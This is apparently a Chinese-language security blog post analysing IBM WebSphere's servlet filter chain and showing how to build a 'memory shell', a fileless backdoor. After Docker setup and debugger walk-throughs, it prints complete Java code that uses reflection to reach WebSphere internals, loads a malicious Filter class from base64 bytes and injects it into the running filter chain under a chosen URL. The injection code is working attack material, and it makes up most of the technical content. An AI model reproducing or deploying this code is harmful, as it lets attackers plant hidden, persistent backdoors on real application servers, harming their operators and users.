WebSphere内存马分析
目录
环境部署
docker部署环境
docker pull ibmcom/websphere-traditional
docker run --name websphere -h websphere -e UPDATE_HOME=true -p 9043:9043 -p 9443:9443 -p 7777:7777 --restart=always -d ibmcom/websphere-traditional
docker exec -it websphere cat /tmp/PASSWORD
9043端口
9443端口
7777端口
/tmp/PASSWORD:控制台登录密码,账号:wsadmin
登录后台: https://ip:9043/ibm/console
进入后台
设置websphere为Debug模式
绑定端口
编写DemoFilter和DemoServlet,配置项目的web.xml
<?xml version="1.0" encoding="UTF-8"?>
<web-app xmlns="http://xmlns.jcp.org/xml/ns/javaee"
xmlns:xsi="http://www.w3.org/2001/XMLSchema-instance"
xsi:schemaLocation="http://xmlns.jcp.org/xml/ns/javaee http://xmlns.jcp.org/xml/ns/javaee/web-app_4_0.xsd"
version="4.0">
<filter>
<filter-name>TestFilter</filter-name>
<filter-class>TestFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>TestFilter</filter-name>
<url-pattern>/test</url-pattern>
</filter-mapping>
<servlet>
<servlet-name>TestServlet</servlet-name>
<servlet-class>TestServlet</servlet-class>
</servlet>
<servlet-mapping>
<servlet-name>TestServlet</servlet-name>
<url-pattern>/test</url-pattern>
</servlet-mapping>
</web-app>
生成war包
将war包导入服务器中
分析Filter
在Servlet 中打下断点,观察调用栈,通过调用栈观察是哪里调用了TestFilter.
com.ibm.ws.webcontainer.filter.FilterInstanceWrapper
中调用了TestFilter
而this._filterInstance
是构造方法FilterInstanceWrapper
传入的参数获取的。那么观察哪里实例化了一个FilterInstanceWrapper
对象。
继续观察调用栈,可以看到在com.ibm.ws.webcontainer.filter.WebAppFilterChain
中通过(FilterInstanceWrapper)this._filters.get(this._currentFilterIndex)
实例化FilterInstanceWrapper
,那么继续观察this._filters
是如何生成的。
在com.ibm.ws.webcontainer.filter.WebAppFilterChain
中看到_filters为new ArrayList()
。
并且在com.ibm.ws.webcontainer.filter.WebAppFilterChain
中看到addFilter
方法,该方法中调用了this._filters.add(fiw)
,其中fiw为FilterInstanceWrapper类型
在这个地方打下断点,重新调试,观察哪里调用了该方法,了解是怎么生成WebAppFilterChain._filters
。
在com.ibm.ws.webcontainer.filter.WebAppFilterManager
中的getFilterChain()
方法,调用了WebAppFilterChain
的addFilter
。
关注该方法中的以下代码。
newChain.addFilter(this.getFilterInstanceWrapper((String)filterNames.get(i)));
其中this.getFilterInstanceWrapper((String)filterNames.get(i))
。
这里有两个需要关注的地方,this.getFilterInstanceWrapper()
和(String)filterNames.get(i)
。
首先是(String)filterNames.get(i)
。可以看到其实filternames
实际上来自于this.getFilterChainContents
跟进getFilterChainContents
观察,可以看到fcc
来自于com.ibm.ws.webcontainer.filter.WebAppFilterManager
对象中的chainCache变量
接着是this.getFilterInstanceWrapper()
,这里就是com.ibm.ws.webcontainer.filter.WebAppFilterManager::getFilterInstanceWrapper()
通过filtername
来获取当前WebAppFilterManager对象
中的FilterInstanceWrapper对象
。
构造内存马的思路:
1、获取到WebAppFilterManager
对象
2、实例化恶意Filter相关的FilterChainContents,添加到WebAppFilterManager.chainCache
3、实例化恶意Filter相关的FilterInstanceWrapper,添加到WebAppFilterManager._filterWrappers
编写内存马
1、获取到WebAppFilterManager
对象
在当前线程中寻找上下文。
从当前线程中获取currentThreadsIExtendedRequest
,通过调用getServletContext()
,获取上下文。在上下文中可以获取到当前线程的WebAppFilterManager
对象filterManager
。
private static WebAppImpl context;
private static synchronized void GetWebContent() throws Exception{
try {
Object[] wsThreadLocals = (Object[]) GetField(Thread.currentThread(),"wsThreadLocals");
for (int i = 0; i < wsThreadLocals.length; i++) {
if(wsThreadLocals[i] != null &&wsThreadLocals[i].getClass().getName().contains("WebContainerRequestState") ){
currentThreadsIExtendedRequest = (SRTServletRequest) GetField(wsThreadLocals[i],"currentThreadsIExtendedRequest");
}
}
ServletContext servletContext = currentThreadsIExtendedRequest.getServletContext();
System.out.println("Step 1");
context = (WebAppImpl)GetField(servletContext,"context");
}catch (Exception e){
e.printStackTrace();
}
}
private static synchronized Object GetField(Object o, String k) throws Exception{
Field f;
try {
f = o.getClass().getDeclaredField(k);
} catch (NoSuchFieldException e) {
try{
f = o.getClass().getSuperclass().getDeclaredField(k);
}catch (Exception e1){
f = o.getClass().getSuperclass().getSuperclass().getDeclaredField(k);
}
}
f.setAccessible(true);
return f.get(o);
}
接着从web上下文中获取到filterManager
。
private static synchronized void InjectFilter() throws Exception {
try {
if(context!=null){
filterManager = (WebAppFilterManagerImpl) GetField(context,"filterManager");
....
2、实例化恶意Filter相关的FilterChainContents......
从filterManager中获取到当前线程的chainCache
,通过反射实例化一个FilterChainContents,对照TestFilter的FilterChainContents,去构造恶意Filter相关的FilterChainContents
。
private static synchronized void InjectFilter() throws Exception {
try {
if(context!=null){
filterManager = (WebAppFilterManagerImpl) GetField(context,"filterManager");
chainCache = (Map<String, Object>) GetField(filterManager,"chainCache");
Constructor constructor = Class.forName("com.ibm.ws.webcontainer.filter.FilterChainContents").getDeclaredConstructor();
constructor.setAccessible(true);
Object filterChainContents = constructor.newInstance();
//Step1
ArrayList _filterNames= (ArrayList) GetField(filterChainContents,"_filterNames");
_filterNames.add(filterName);
SetField(filterChainContents,"_hasFilters",true);
chainCache.put(url,filterChainContents);
3、实例化恶意Filter相关的FilterInstanceWrapper......
对照TestFilter的FilterInstanceWrapper,构造恶意Filter相关的FilterInstanceWrapper
。
从当前filterManager对象中获取到_filterWrappers
,直接通过New FilterInstanceWrapper()
实例化一个新的FilterInstanceWrapper
。
这里有几个我认为需要注意的地方。
1、实例化FilterInstanceWrapper时,需要传入的参数为ManagedObject<Filter>类型
而在早版本的websphere中是filter类型的参数
所以这里需要进行一个类型转换。
2、_filtersDefined设置为true的原因是因为这里对_filtersDefined进行判断。
3、_filterState 设置为 2 的原因是因为这里对_filterState==2
进行校验了
4、完整代码
为了方便调试,直接在Sevlet的Get请求中编写内存马加载过程。
import com.ibm.ws.managedobject.ManagedObject;
import com.ibm.ws.managedobject.ManagedObjectContext;
import com.ibm.ws.webcontainer.cdi.WCManagedObject;
import com.ibm.ws.webcontainer.filter.FilterConfig;
import com.ibm.ws.webcontainer.filter.FilterInstanceWrapper;
import com.ibm.ws.webcontainer.filter.WebAppFilterManagerImpl;
import com.ibm.ws.webcontainer.srt.SRTServletRequest;
import com.ibm.ws.webcontainer.webapp.WebAppEventSource;
import com.ibm.ws.webcontainer.webapp.WebAppImpl;
import com.ibm.wsspi.webcontainer.webapp.WebAppConfig;
import sun.misc.BASE64Decoder;
import javax.servlet.*;
import javax.servlet.http.HttpServlet;
import javax.servlet.http.HttpServletRequest;
import javax.servlet.http.HttpServletResponse;
import java.io.IOException;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.*;
public class TestServlet extends HttpServlet {
@Override
public void init(ServletConfig servletConfig) throws ServletException {
}
private static String filterName = "HFilter";
private static String filterClassName = "com.sso.HFilter";
private static String url = "/ccc";
private static SRTServletRequest currentThreadsIExtendedRequest = null;
private static WebAppImpl context;
private static WebAppFilterManagerImpl filterManager= null;
private static Map<String, Object> chainCache = null;
private static Hashtable<String, FilterInstanceWrapper> _filterWrappers;
@Override
protected void doGet(HttpServletRequest req, HttpServletResponse resp) throws ServletException, IOException {
resp.getWriter().println("This is Http");
try {
LoadFilter();
GetWebContent();
InjectFilter();
} catch (Exception e) {
e.printStackTrace();
}
}
private static synchronized void LoadFilter() throws Exception {
try{
Thread.currentThread().getContextClassLoader().loadClass(filterClassName).newInstance();
}catch (Exception e){
Method a = ClassLoader.class.getDeclaredMethod("defineClass", byte[].class, Integer.TYPE, Integer.TYPE);
a.setAccessible(true);
byte[] b = (new BASE64Decoder()).decodeBuffer("恶意Filter.class | base64");
a.invoke(Thread.currentThread().getContextClassLoader(), b, 0, b.length);
}
}
private static synchronized void GetWebContent() throws Exception{
try {
Object[] wsThreadLocals = (Object[]) GetField(Thread.currentThread(),"wsThreadLocals");
for (int i = 0; i < wsThreadLocals.length; i++) {
if(wsThreadLocals[i] != null &&wsThreadLocals[i].getClass().getName().contains("WebContainerRequestState") ){
currentThreadsIExtendedRequest = (SRTServletRequest) GetField(wsThreadLocals[i],"currentThreadsIExtendedRequest");
}
}
ServletContext servletContext = currentThreadsIExtendedRequest.getServletContext();
System.out.println("Step 1");
context = (WebAppImpl)GetField(servletContext,"context");
}catch (Exception e){
e.printStackTrace();
}
}
private static synchronized Object GetField(Object o, String k) throws Exception{
Field f;
try {
f = o.getClass().getDeclaredField(k);
} catch (NoSuchFieldException e) {
try{
f = o.getClass().getSuperclass().getDeclaredField(k);
}catch (Exception e1){
f = o.getClass().getSuperclass().getSuperclass().getDeclaredField(k);
}
}
f.setAccessible(true);
return f.get(o);
}
public TestServlet() {
}
private static synchronized void InjectFilter() throws Exception {
try {
if(context!=null){
filterManager = (WebAppFilterManagerImpl) GetField(context,"filterManager");
chainCache = (Map<String, Object>) GetField(filterManager,"chainCache");
Constructor constructor = Class.forName("com.ibm.ws.webcontainer.filter.FilterChainContents").getDeclaredConstructor();
constructor.setAccessible(true);
Object filterChainContents = constructor.newInstance();
//Step1
ArrayList _filterNames= (ArrayList) GetField(filterChainContents,"_filterNames");
_filterNames.add(filterName);
SetField(filterChainContents,"_hasFilters",true);
chainCache.put(url,filterChainContents);
//Step2
_filterWrappers = (Hashtable<String, FilterInstanceWrapper>) GetField(filterManager,"_filterWrappers");
javax.servlet.Filter filter = (Filter) Thread.currentThread().getContextClassLoader().loadClass(filterClassName).newInstance();
WebAppEventSource _evtSource = (WebAppEventSource) GetField(filterManager,"_evtSource");
ManagedObject filterMo = context.createManagedObject(filter);
FilterInstanceWrapper filterInstanceWrapper = new FilterInstanceWrapper(filterName,filterMo,_evtSource);
SetField(filterInstanceWrapper,"_filterState",2);
Object webAppConfig = GetField(filterManager,"webAppConfig");
FilterConfig filterConfig = new FilterConfig(filterName,(WebAppConfig) webAppConfig);
HashSet<DispatcherType> set = new HashSet();
set.add(DispatcherType.REQUEST);
filterConfig.addMappingForUrlPatterns(EnumSet.of(DispatcherType.REQUEST),true,url);
SetField(filterInstanceWrapper,"_filterConfig",filterConfig);
_filterWrappers.put(filterName,filterInstanceWrapper);
SetField(filterManager,"_filtersDefined",true);
System.out.println("123");
}
}catch (Exception e){
e.printStackTrace();
}
}
private static synchronized void SetField(Object o, String k,Object v) throws Exception{
Field f;
try{
f = o.getClass().getDeclaredField(k);
}catch (NoSuchFieldException e){
f = o.getClass().getSuperclass().getDeclaredField(k);
}catch (Exception e1){
f = o.getClass().getSuperclass().getSuperclass().getDeclaredField(k);
}
f.setAccessible(true);
f.set(o,v);
}
@Override
public void destroy() {
}
}
后话
如分析有不对之处,望斧正~~